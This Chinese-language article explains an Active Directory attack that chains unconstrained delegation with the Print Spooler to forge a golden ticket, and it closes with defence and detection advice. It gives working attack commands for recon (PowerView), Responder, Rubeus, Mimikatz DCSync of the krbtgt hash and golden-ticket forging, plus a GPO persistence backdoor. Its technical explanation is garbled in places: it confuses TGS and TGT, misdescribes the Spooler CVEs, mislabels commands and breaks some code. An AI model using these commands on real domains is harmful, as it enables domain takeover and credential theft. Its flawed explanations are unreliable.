非约束委派+Spooler”组合攻击:黄金票据窃取域控实战解析
一、攻击背景与核心原理
1.1 非约束性委派的安全隐患
非约束性委派(Unconstrained Delegation)是Windows域环境中一种特殊的身份委托机制,允许服务账户将客户端的TGS(Ticket Granting Service)票据转发至任意服务。该机制设计初衷是简化跨服务认证流程,但存在致命缺陷:攻击者一旦控制具备非约束性委派权限的服务账户,即可捕获高权限用户的TGS票据。
典型攻击场景中,攻击者通过社会工程学或漏洞利用获取某个服务账户(如Web服务器)的控制权。若该账户启用了非约束性委派,当域管理员登录该服务时,其TGS票据会被存储在服务端的LSASS进程中。攻击者可通过内存转储技术提取该票据,进而伪造任意服务的访问权限。
1.2 Spooler服务的利用价值
Windows Print Spooler服务是操作系统默认启用的核心组件,负责管理打印任务。该服务存在两个关键特性使其成为攻击跳板:
- 高权限运行:默认以SYSTEM权限执行
- NTLM中继漏洞:CVE-2021-1675/CVE-2021-34527漏洞允许攻击者通过特制打印请求触发NTLM认证,并将认证流量重定向至其他服务
当Spooler服务运行在具备非约束性委派的服务器上时,攻击者可构造恶意打印任务触发域控的NTLM认证,同时利用非约束性委派捕获域控返回的TGS票据。
二、攻击实施步骤
2.1 环境准备与信息收集
执行攻击前需完成以下信息收集:
# 使用PowerView查找非约束性委派账户
Import-Module PowerView.ps1
Get-NetUser -Unconstrained | Select-Object samaccountname,userprincipalname
# 查找启用了Spooler服务的服务器
Get-NetComputer -Properties operatingsystem | Where-Object {$_.operatingsystem -like "*Server*"} |
ForEach-Object {
if (Test-NetConnection -ComputerName $_.name -Port 445 -ErrorAction SilentlyContinue) {
$services = Get-WmiObject -Class Win32_Service -ComputerName $_.name | Where-Object {$_.name -eq "Spooler"}
if ($services) { Write-Host "$($_.name) 运行着Spooler服务" }
}
}
2.2 触发NTLM认证并捕获票据
利用Spooler漏洞触发域控NTLM认证的完整流程:
在攻击机上搭建恶意SMB服务器:
# 使用Responder监听NTLM认证
sudo responder -I eth0 -v
通过Spooler服务触发认证:
```powershell使用Rubeus生成恶意打印请求
.\Rubeus.exe asktgt /user:DC$ /domain:contoso.com /rc4:
/ptt 将生成的票据导入当前会话
.\Rubeus.exe ptt /ticket:
通过Spooler服务触发到恶意SMB的认证
Add-PrinterPort -Name “MALICIOUS_PORT” -PrinterHostAddress ““
## 2.3 黄金票据伪造
捕获域控的TGS票据后,使用Mimikatz伪造黄金票据:
```powershell
# 提取krbtgt账户的NTLM hash
.\mimikatz.exe "lsadump::dcsync /domain:contoso.com /user:krbtgt" exit
# 伪造黄金票据
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-... /krbtgt:<hash> /ptt" exit
伪造的黄金票据具有以下特性:
- 有效期长达10年
- 可访问域内任意服务
- 绕过常规Kerberos认证限制
三、防御策略与检测方法
3.1 预防性措施
禁用非约束性委派:
# 通过ADSI编辑器修改账户属性
Set-ADAccountControl -Identity "ServiceAccount" -TrustedForDelegation $false
限制Spooler服务权限:
- 使用组策略禁用非必要服务器上的Spooler服务
- 对运行Spooler的服务器实施网络隔离
- 加强票据管理:
- 设置Kerberos票据最短有效期(默认10小时)
- 启用Kerberos AES加密(替代RC4-HMAC)
3.2 检测方法
异常票据使用检测:
-- 查询4624日志中来自非常用IP的登录事件
SELECT * FROM SecurityEvent
WHERE EventID = 4624 AND IpAddress NOT IN ('192.168.1.1','10.0.0.1')
Spooler服务异常行为监控:
- 监控添加异常打印端口的操作
- 检测到非打印服务器的445端口出站连接
- 黄金票据特征检测:
- 票据有效期超过常规值(>10小时)
- 票据包含非标准加密类型(如RC4-HMAC)
四、实战案例分析
某金融企业遭遇的典型攻击链:
- 攻击者通过钓鱼邮件获取Web服务器权限
- 发现该服务器启用了非约束性委派
- 利用Spooler漏洞触发域控认证,捕获DC$账户的TGS
- 伪造黄金票据后横向移动至财务系统
该案例暴露的防御缺陷:
- 未禁用默认启用的非约束性委派
- Spooler服务未实施最小权限原则
- 缺乏对高价值票据的审计监控
五、进阶攻击技术
5.1 跨域信任攻击
当存在双向信任关系时,攻击者可利用获取的票据访问其他域的资源:
# 使用跨域票据访问资源
.\mimikatz.exe "kerberos::list /export" exit
# 将导出的票据用于访问其他域的SMB共享
5.2 持久化控制
通过修改GPO实现持久化:
<!-- 在组策略中添加启动脚本 -->
<GPO name="PersistentBackdoor">
<StartupScript>powershell.exe -exec bypass -file C:\temp\backdoor.ps1</StartupScript>
</GPO>
六、总结与建议
该攻击组合的防范需要构建多层次防御体系:
- 基础设施层:禁用不必要的服务委派,实施网络分段
- 监控层:部署UEBA系统检测异常票据使用
- 响应层:建立自动化隔离机制,当检测到黄金票据使用时立即隔离受影响主机
建议企业定期执行以下安全检查:
- 每月审计非约束性委派账户
- 每季度验证Spooler服务的必要性
- 每年进行红队演练测试防御效果
通过理解这种高级攻击技术,安全团队能够更有效地设计防御策略,在攻击发生前识别潜在风险,在攻击进行时快速响应,最终构建更加安全的域环境。